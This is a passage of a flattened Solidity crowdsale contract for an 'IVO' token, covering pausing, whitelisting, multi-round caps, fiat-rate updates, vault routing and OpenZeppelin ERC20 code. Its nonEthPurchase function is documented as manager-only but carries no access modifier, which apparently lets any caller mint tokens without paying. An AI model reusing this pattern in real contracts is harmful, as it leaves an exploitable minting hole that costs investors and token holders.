constructor() internal {
_paused = false;
}
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "not paused");
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "paused");
_;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @notice called by the owner to pause, triggers stopped state
*/
function pause() public onlyManager whenNotPaused {
_paused = true;
emit BePaused(msg.sender);
}
/**
* @notice called by the owner to unpause, returns to normal state
*/
function unpause() public onlyManager whenPaused {
_paused = false;
emit BeUnpaused(msg.sender);
}
}
// File: contracts/property/ValidAddress.sol
/**
* @title modifier contract that checks if the address is valid
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract ValidAddress {
/**
* @notice Check if the address is not zero
*/
modifier onlyValidAddress(address _address) {
require(_address != address(0), "Not a valid address");
_;
}
/**
* @notice Check if the address is not the sender's address
*/
modifier isSenderNot(address _address) {
require(_address != msg.sender, "Address is the same as the sender");
_;
}
/**
* @notice Check if the address is the sender's address
*/
modifier isSender(address _address) {
require(_address == msg.sender, "Address is different from the sender");
_;
}
}
// File: contracts/membership/Whitelist.sol
/**
* @title Whitelist
* @dev The WhitelistCrowdsale was not included in OZ's release at the moment of the
* development of this contract. Therefore, we've developed the Whitelist contract and
* the WhitelistCrowdsale contract.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract Whitelist is ValidAddress, PausableManager {
bool private _isWhitelisting;
mapping (address => bool) private _isWhitelisted;
event AddedWhitelisted(address indexed account);
event RemovedWhitelisted(address indexed account);
/**
* @notice Adding account control, only whitelisted accounts could do certain actions.
* @dev Whitelisting is enabled by default, There is not even the opportunity to
* disable it.
*/
constructor() internal {
_isWhitelisting = true;
}
/**
* @dev Add an account to the whitelist, calling the corresponding internal function
* @param account The address of the investor
*/
function addWhitelisted(address account) external onlyManager {
_addWhitelisted(account);
}
/**
* @notice This function allows to whitelist investors in batch
* with control of number of interations
* @param accounts The accounts to be whitelisted in batch
*/
// solhint-disable-next-line
function addWhitelisteds(address[] calldata accounts) external onlyManager {
uint256 length = accounts.length;
require(length <= 256, "too long");
for (uint256 i = 0; i < length; i++) {
_addWhitelisted(accounts[i]);
}
}
/**
* @notice Remove an account from the whitelist, calling the corresponding internal
* function
* @param account The address of the investor that needs to be removed
*/
function removeWhitelisted(address account)
external
onlyManager
{
_removeWhitelisted(account);
}
/**
* @notice This function allows to whitelist investors in batch
* with control of number of interations
* @param accounts The accounts to be whitelisted in batch
*/
// solhint-disable-next-line
function removeWhitelisteds(address[] calldata accounts)
external
onlyManager
{
uint256 length = accounts.length;
require(length <= 256, "too long");
for (uint256 i = 0; i < length; i++) {
_removeWhitelisted(accounts[i]);
}
}
/**
* @notice Check if an account is whitelisted or not
* @param account The account to be checked
* @return true if the account is whitelisted. Otherwise, false.
*/
function isWhitelisted(address account) public view returns (bool) {
return _isWhitelisted[account];
}
/**
* @notice Add an investor to the whitelist
* @param account The address of the investor that has successfully passed KYC
*/
function _addWhitelisted(address account)
internal
onlyValidAddress(account)
{
require(_isWhitelisted[account] == false, "account already whitelisted");
_isWhitelisted[account] = true;
emit AddedWhitelisted(account);
}
/**
* @notice Remove an investor from the whitelist
* @param account The address of the investor that needs to be removed
*/
function _removeWhitelisted(address account)
internal
onlyValidAddress(account)
{
require(_isWhitelisted[account] == true, "account was not whitelisted");
_isWhitelisted[account] = false;
emit RemovedWhitelisted(account);
}
}
// File: contracts/crowdsale/WhitelistCrowdsale.sol
/**
* @title Crowdsale with whitelists
* @dev The WhitelistCrowdsale was not included in OZ's release at the moment of the
* development of this contract. Therefore, we've developed the Whitelist contract and
* the WhitelistCrowdsale contract.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
/**
* @title WhitelistCrowdsale
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract WhitelistCrowdsale is Whitelist, Crowdsale {
/**
* @notice Extend parent behavior requiring beneficiary to be whitelisted.
* @dev Note that no restriction is imposed on the account sending the transaction.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
{
require(isWhitelisted(_beneficiary), "beneficiary is not whitelisted");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/crowdsale/NonEthPurchasableCrowdsale.sol
/**
* @title Crowdsale that allows to be purchased with fiat
* @dev Functionalities in this contract could also be pausable, besides managerOnly
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract NonEthPurchasableCrowdsale is Crowdsale {
event NonEthTokenPurchased(address indexed beneficiary, uint256 tokenAmount);
/**
* @notice Allows onlyManager to mint token for beneficiary.
* @param beneficiary Recipient of the token purchase
* @param tokenAmount Amount of token purchased
*/
function nonEthPurchase(address beneficiary, uint256 tokenAmount)
public
{
_preValidatePurchase(beneficiary, tokenAmount);
_processPurchase(beneficiary, tokenAmount);
emit NonEthTokenPurchased(beneficiary, tokenAmount);
}
}
// File: contracts/crowdsale/UpdatableRateCrowdsale.sol
/**
* @title Crowdsale with updatable exchange rate
* @dev Functionalities in this contract could also be pausable, besides managerOnly
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
// @TODO change the pausable manager to other role or the role to be created ->
// whitelisted admin
contract UpdatableRateCrowdsale is PausableManager, Crowdsale {
using SafeMath for uint256;
/*** PRE-DEPLOYMENT CONFIGURED CONSTANTS */
// 1 IVO = 0.3213 USD
uint256 private constant TOKEN_PRICE_USD = 3213;
uint256 private constant TOKEN_PRICE_BASE = 10000;
uint256 private constant FIAT_RATE_BASE = 100;
// This vairable is not goint to override the _rate vairable in OZ's _rate vairable
// because of the scope/visibility, however, we could override the getter function
uint256 private _rate;
// USD to ETH rate, as shown on CoinMarketCap.com
// _rate = _fiatRate / ((1 - discount) * (TOKEN_PRICE_USD / TOKEN_PRICE_BASE))
// e.g. If 1 ETH = 110.24 USD, _fiatRate is 11024.
uint256 private _fiatRate;
/**
* Event for fiat to ETH rate update
* @param value the fiatrate
* @param timestamp blocktime of the update
*/
event UpdatedFiatRate (uint256 value, uint256 timestamp);
/**
* @param initialFiatRate The fiat rate (ETH/USD) when crowdsale starts
* @dev 2 decimals. e.g. If 1 ETH = 110.24 USD, _fiatRate is 11024.
*/
constructor (uint256 initialFiatRate) internal {
require(initialFiatRate > 0, "fiat rate is not positive");
_updateRate(initialFiatRate);
}
/**
* @dev Allow manager to update the exchange rate when necessary.
*/
function updateRate(uint256 newFiatRate) external onlyManager {
_updateRate(newFiatRate);
}
/** OVERRIDE
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns (uint256) {
return _rate;
}
/**
* @return the ETH price (in USD) currently used in the crowdsale
*/
function fiatRate() public view returns (uint256) {
return _fiatRate;
}
/**
* @notice Calculate the amount of token to be sold based on the amount of wei
* @dev To be overriden to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
/**
* @notice Update the exchange rate when the fiat rate is changed
* @dev Since we round the _rate now into an integer. There is a loss in purchase
* E.g. When ETH is at 110.24$, one could have 343.106 IVO with 1 ETH of net
* contribution (after deducting the KYC/AML fee) in mainsale. However, only 343 IVO
* will be issued, due to the rounding, resulting in a loss of 0.35 $/ETH purchase.
*/
function _updateRate(uint256 newFiatRate) internal {
_fiatRate = newFiatRate;
_rate = _fiatRate.mul(TOKEN_PRICE_BASE).div(TOKEN_PRICE_USD * FIAT_RATE_BASE);
emit UpdatedFiatRate(_fiatRate, block.timestamp);
}
}
// File: contracts/crowdsale/CappedMultiRoundCrowdsale.sol
/**
* @title Multi-round with cap Crowdsale
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract CappedMultiRoundCrowdsale is UpdatableRateCrowdsale {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/*** PRE-DEPLOYMENT CONFIGURED CONSTANTS */
uint256 private constant ROUNDS = 3;
uint256 private constant CAP_ROUND_ONE = 22500000 ether;
uint256 private constant CAP_ROUND_TWO = 37500000 ether;
uint256 private constant CAP_ROUND_THREE = 52500000 ether;
uint256 private constant HARD_CAP = 52500000 ether;
uint256 private constant PRICE_PERCENTAGE_ROUND_ONE = 80;
uint256 private constant PRICE_PERCENTAGE_ROUND_TWO = 90;
uint256 private constant PRICE_PERCENTAGE_ROUND_THREE = 100;
uint256 private constant PRICE_PERCENTAGE_BASE = 100;
uint256 private _currentRoundCap;
uint256 private _mintedByCrowdsale;
uint256 private _currentRound;
uint256[ROUNDS] private _capOfRound;
uint256[ROUNDS] private _pricePercentagePerRound;
address private privateVaultAddress;
address private presaleVaultAddress;
address private reserveVaultAddress;
/**
* Event for multi-round logging
* @param roundNumber number of the current rounnd, starting from 0
* @param timestamp blocktime of the start of the next block
*/
event RoundStarted(uint256 indexed roundNumber, uint256 timestamp);
/**
* Constructor for the capped multi-round crowdsale
* @param startingTime Time when the first round starts
*/
/* solhint-disable */
constructor (uint256 startingTime) internal {
// update the private variable as the round number and the discount percentage is not changed.
_pricePercentagePerRound[0] = PRICE_PERCENTAGE_ROUND_ONE;
_pricePercentagePerRound[1] = PRICE_PERCENTAGE_ROUND_TWO;
_pricePercentagePerRound[2] = PRICE_PERCENTAGE_ROUND_THREE;
// update the milestones
_capOfRound[0] = CAP_ROUND_ONE;
_capOfRound[1] = CAP_ROUND_TWO;
_capOfRound[2] = CAP_ROUND_THREE;
// initiallization
_currentRound;
_currentRoundCap = _capOfRound[_currentRound];
emit RoundStarted(_currentRound, startingTime);
}
/* solhint-enable */
/**
* @notice Modifier to be executed when multi-round is still going on
*/
modifier stillInRounds() {
require(_currentRound < ROUNDS, "Not in rounds");
_;
}
/**
* @notice Check vault addresses are correcly settled.
*/
/* solhint-disable */
modifier vaultAddressesSet() {
require(privateVaultAddress != address(0) && presaleVaultAddress != address(0) && reserveVaultAddress != address(0), "Vaults are not set");
_;
}
/* solhint-enable */
/**
* @return the cap of the crowdsale.
*/
function hardCap() public pure returns(uint256) {
return HARD_CAP;
}
/**
* @return the cap of the current round of crowdsale.
*/
function currentRoundCap() public view returns(uint256) {
return _currentRoundCap;
}
/**
* @return the amount of token issued by the crowdsale.
*/
function mintedByCrowdsale() public view returns(uint256) {
return _mintedByCrowdsale;
}
/**
* @return the total round of crowdsales.
*/
function rounds() public pure returns(uint256) {
return ROUNDS;
}
/**
* @return the index of current round.
*/
function currentRound() public view returns(uint256) {
return _currentRound;
}
/**
* @return the cap of one round (relative value)
*/
function capOfRound(uint256 index) public view returns(uint256) {
return _capOfRound[index];
}
/**
* @return the discounted price of the current round
*/
function pricePercentagePerRound(uint256 index) public view returns(uint256) {
return _pricePercentagePerRound[index];
}
/**
* @notice Checks whether the cap has been reached.
* @dev These two following functions should not be held because the state should be
* reverted, if the condition is met, therefore no more tokens that exceeds the cap
* shall be minted.
* @return Whether the cap was reached
*/
function hardCapReached() public view returns (bool) {
return _mintedByCrowdsale >= HARD_CAP;
}
/**
* @notice Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function currentRoundCapReached() public view returns (bool) {
return _mintedByCrowdsale >= _currentRoundCap;
}
/**
* @notice Allows manager to manually close the round
*/
function closeCurrentRound() public onlyManager stillInRounds {
_capOfRound[_currentRound] = _mintedByCrowdsale;
_updateRoundCaps(_currentRound);
}
/**
* @dev Extend parent behavior requiring the crowdsale is in a valid round
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
stillInRounds
{
super._preValidatePurchase(beneficiary, weiAmount);
}
/**
* @notice Extend parent behavior requiring purchase to respect the max
* token cap for crowdsale.
* @dev If the transaction is about to exceed the hardcap, the crowdsale contract
* will revert the entire transaction, because the contract will not refund any part
* of msg.value
* @param beneficiary Token purchaser
* @param tokenAmount Amount of tokens purchased
*/
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
// Check if the hard cap (in IVO) is reached
// This requirement is actually controlled when calculating the tokenAmount
// inside _dealWithBigTokenPurchase(). So comment the following ou at the moment
// require(_mintedByCrowdsale.add(tokenAmount) <= HARD_CAP, "Too many tokens that exceeds the cap");
// After calculating the generated amount, now update the current round.
// The following block is to process a purchase with amouts that exceeds the current cap.
uint256 finalAmount = _mintedByCrowdsale.add(tokenAmount);
uint256 totalMintedAmount = _mintedByCrowdsale;
for (uint256 i = _currentRound; i < ROUNDS; i = i.add(1)) {
if (finalAmount > _capOfRound[i]) {
sendToCorrectAddress(beneficiary, _capOfRound[i].sub(totalMintedAmount), _currentRound);
// the rest needs to be dealt in the next round.
totalMintedAmount = _capOfRound[i];
_updateRoundCaps(_currentRound);
} else {
_mintedByCrowdsale = finalAmount;
sendToCorrectAddress(beneficiary, finalAmount.sub(totalMintedAmount), _currentRound);
if (finalAmount == _capOfRound[i]) {
_updateRoundCaps(_currentRound);
}
break;
}
}
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* It tokens "discount" into consideration as well as multi-rounds.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
// Here we need to check if all tokens are sold in the same round.
uint256 tokenAmountBeforeDiscount = super._getTokenAmount(weiAmount);
uint256 tokenAmountForThisRound;
uint256 tokenAmountForNextRound;
uint256 tokenAmount;
for (uint256 round = _currentRound; round < ROUNDS; round = round.add(1)) {
(tokenAmountForThisRound, tokenAmountForNextRound) =
_dealWithBigTokenPurchase(tokenAmountBeforeDiscount, round);
tokenAmount = tokenAmount.add(tokenAmountForThisRound);
if (tokenAmountForNextRound == 0) {
break;
} else {
tokenAmountBeforeDiscount = tokenAmountForNextRound;
}
}
// After three rounds of calculation, there should be no more token to be
// purchased in the "next" round. Otherwise, it reaches the hardcap.
require(tokenAmountForNextRound == 0, "there is still tokens for the next round...");
return tokenAmount;
}
/**
* @dev Set up addresses for vaults. Should only be called once during.
* @param privateVault The vault address for private sale
* @param presaleVault The vault address for presale.
* @param reserveVault The vault address for reserve.
*/
function _setVaults(
IVault privateVault,
IVault presaleVault,
IVault reserveVault
)
internal
{
require(address(privateVault) != address(0), "Not valid address: privateVault");
require(address(presaleVault) != address(0), "Not valid address: presaleVault");
require(address(reserveVault) != address(0), "Not valid address: reserveVault");
privateVaultAddress = address(privateVault);
presaleVaultAddress = address(presaleVault);
reserveVaultAddress = address(reserveVault);
}
/**
* @dev When a big token purchase happens, it automatically jumps to the next round if
* the cap of the current round reaches.
* @param tokenAmount The amount of tokens that is converted from wei according to the
* updatable fiat rate. This amount has not yet taken the discount rate into account.
* @return The amount of token sold in this round
* @return The amount of token ready to be sold in the next round.
*/
function _dealWithBigTokenPurchase(uint256 tokenAmount, uint256 round)
private
view
stillInRounds
returns (uint256, uint256)
{
// Get the maximum "tokenAmount" that can be issued in the current around with the
// corresponding discount.
// maxAmount = (absolut cap of the current round - already issued) * discount
uint256 maxTokenAmountOfCurrentRound = (_capOfRound[round]
.sub(_mintedByCrowdsale))
.mul(_pricePercentagePerRound[round])
.div(PRICE_PERCENTAGE_BASE);
if (tokenAmount < maxTokenAmountOfCurrentRound) {
// this purchase will be settled entirely in the current round
return (tokenAmount.mul(PRICE_PERCENTAGE_BASE).div(_pricePercentagePerRound[round]), 0);
} else {
// need to consider cascading to the next round
uint256 tokenAmountOfNextRound = tokenAmount.sub(maxTokenAmountOfCurrentRound);
return (maxTokenAmountOfCurrentRound, tokenAmountOfNextRound);
}
}
/**
* @dev this function delivers token according to the information of the current round...
* @param beneficiary The address of the account that should receive tokens in reality
* @param tokenAmountToBeSent The amount of token sent to the destination addression.
* @param roundNumber Round number where tokens shall be purchased...
*/
function sendToCorrectAddress(
address beneficiary,
uint256 tokenAmountToBeSent,
uint256 roundNumber
)
private
vaultAddressesSet
{
if (roundNumber == 2) {
// then tokens could be minted directly to holder's account
// the amount shall be the
super._processPurchase(beneficiary, tokenAmountToBeSent);
} else if (roundNumber == 0) {
// tokens should be minted to the private sale vault...
super._processPurchase(privateVaultAddress, tokenAmountToBeSent);
// update the balance of the corresponding vault
IVault(privateVaultAddress).receiveFor(beneficiary, tokenAmountToBeSent);
} else {
// _currentRound == 1, tokens should be minted to the presale vault
super._processPurchase(presaleVaultAddress, tokenAmountToBeSent);
// update the balance of the corresponding vault
IVault(presaleVaultAddress).receiveFor(beneficiary, tokenAmountToBeSent);
}
}
/**
* @notice Eachtime, when a manager closes a round or a round_cap is reached, it needs
* to update the info of the _currentRound, _currentRoundCap, _hardCap and _capPerRound[];
* @param round currentRound number
* @dev This function should only be triggered when there is a need of updating all
* the params. The capPerRound shall be updated with the current mintedValue.
*/
function _updateRoundCaps(uint256 round) private {
if (round == 0) {
// update the releasing time of private sale vault
IVault(privateVaultAddress).updateReleaseTime(block.timestamp);
_currentRound = 1;
_currentRoundCap = _capOfRound[1];
} else if (round == 1) {
// update the releasing time of presale vault
IVault(presaleVaultAddress).updateReleaseTime(block.timestamp);
_currentRound = 2;
_currentRoundCap = _capOfRound[2];
} else {
// when _currentRound == 2
IVault(reserveVaultAddress).updateReleaseTime(block.timestamp);
// finalize the crowdsale
_currentRound = 3;
_currentRoundCap = _capOfRound[2];
}
emit RoundStarted(_currentRound, block.timestamp);
}
}
// File: contracts/crowdsale/PausableCrowdsale.sol
/**
* @title Crowdsale with check on pausible
* @dev Functionalities in this contract could also be pausable, besides managerOnly
* This contract is similar to OpenZeppelin's PausableCrowdsale, yet with different
* contract inherited
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract PausableCrowdsale is PausableManager, Crowdsale {
/**
* @notice Validation of an incoming purchase.
* @dev Use require statements to revert state when conditions are not met. Adding
* the validation that the crowdsale must not be paused.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
view
whenNotPaused
{
return super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/crowdsale/StartingTimedCrowdsale.sol
/**
* @title Crowdsale with a limited opening time
* @dev This contract is developed based on OpenZeppelin's TimedCrowdsale contract
* but removing the endTime. As the function `hasEnded()` is public accessible and
* necessary to return true when the crowdsale is ready to be finalized, yet no direct
* link exists between the time and the end, here we take OZ's originalCrowdsale contract
* and tweak according to the need.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract StartingTimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _startingTime;
/**
* @notice Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(isStarted(), "Not yet started");
_;
}
/**
* @notice Constructor, takes crowdsale opening and closing times.
* @param startingTime Crowdsale opening time
*/
constructor(uint256 startingTime) internal {
// solium-disable-next-line security/no-block-members
require(startingTime >= block.timestamp, "Starting time is in the past");
_startingTime = startingTime;
}
/**
* @return the crowdsale opening time.
*/
function startingTime() public view returns(uint256) {
return _startingTime;
}
/**
* @return true if the crowdsale is open, false otherwise.
*/
function isStarted() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp >= _startingTime;
}
/**
* @notice Extend parent behavior requiring to be within contributing period
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
view
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
// File: contracts/crowdsale/FinalizableCrowdsale.sol
/**
* @title Finalizable crowdsale
* @dev This contract is developed based on OpenZeppelin's FinalizableCrowdsale contract
* with a different inherited contract.
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
/**
* @title FinalizableCrowdsale
* @notice Extension of Crowdsale with a one-off finalization action, where one
* can do extra work after finishing.
* @dev Slightly different from OZ;s contract, due to the inherited "TimedCrowdsale"
* contract
*/
contract FinalizableCrowdsale is StartingTimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized(address indexed account);
constructor () internal {
_finalized = false;
}
/**
* @return true if the crowdsale is finalized, false otherwise.
*/
function finalized() public view returns (bool) {
return _finalized;
}
/**
* @notice Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
* @dev The requirement of endingTimeis removed
*/
function finalize() public {
require(!_finalized, "already finalized");
_finalized = true;
emit CrowdsaleFinalized(msg.sender);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of `ERC20` that adds a set of accounts with the `MinterRole`,
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See `ERC20._mint`.
*
* Requirements:
*
* - the caller must have the `MinterRole`.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol
pragma solidity ^0.5.0;
/**
* @title MintedCrowdsale
* @dev Extension of Crowdsale contract whose tokens are minted in each purchase.
* Token ownership should be transferred to MintedCrowdsale for minting.
*/
contract MintedCrowdsale is Crowdsale {
/**
* @dev Overrides delivery by minting tokens upon purchase.
* @param beneficiary Token purchaser
* @param tokenAmount Number of tokens to be minted
*/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
// Potentially dangerous assumption about the type of the token.
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount),
"MintedCrowdsale: minting failed"
);
}
}
// File: contracts/crowdsale/IvoCrowdsale.sol
/**
* @title INVAO Crowdsale
* @author Validity Labs AG <[email protected]>
*/
// solhint-disable-next-line compiler-fixed, compiler-gt-0_5
pragma solidity ^0.5.0;
contract IvoCrowdsale is IIvoCrowdsale, CounterGuard, Reclaimable, MintedCrowdsale,
NonEthPurchasableCrowdsale, CappedMultiRoundCrowdsale, WhitelistCrowdsale,
PausableCrowdsale, FinalizableCrowdsale {
/*** PRE-DEPLOYMENT CONFIGURED CONSTANTS */
uint256 private constant ROUNDS = 3;
uint256 private constant KYC_AML_RATE_DEDUCTED = 965;
uint256 private constant KYC_AML_FEE_BASE = 1000;
bool private _setRole;
/**
* @param startingTime The starting time of the crowdsale
* @param rate Token per wei. This rate is going to be overriden, hence not important.
* @param initialFiatRate USD per ETH. (As the number on CoinMarketCap.com)
* Value written in cent.
* @param wallet The address of the team which receives investors ETH payment.
* @param token The address of the token.
*/
/* solhint-disable */
constructor(
uint256 startingTime,
uint256 rate,
uint256 initialFiatRate,
address payable wallet,
IERC20 token
)
public
Crowdsale(rate, wallet, token)
UpdatableRateCrowdsale(initialFiatRate)
CappedMultiRoundCrowdsale(startingTime)
StartingTimedCrowdsale(startingTime) {}
/* solhint-enable */
/**
* @notice Batch minting tokens for investors paid with non-ETH
* @param beneficiaries Recipients of the token purchase
* @param amounts Amounts of token purchased
*/
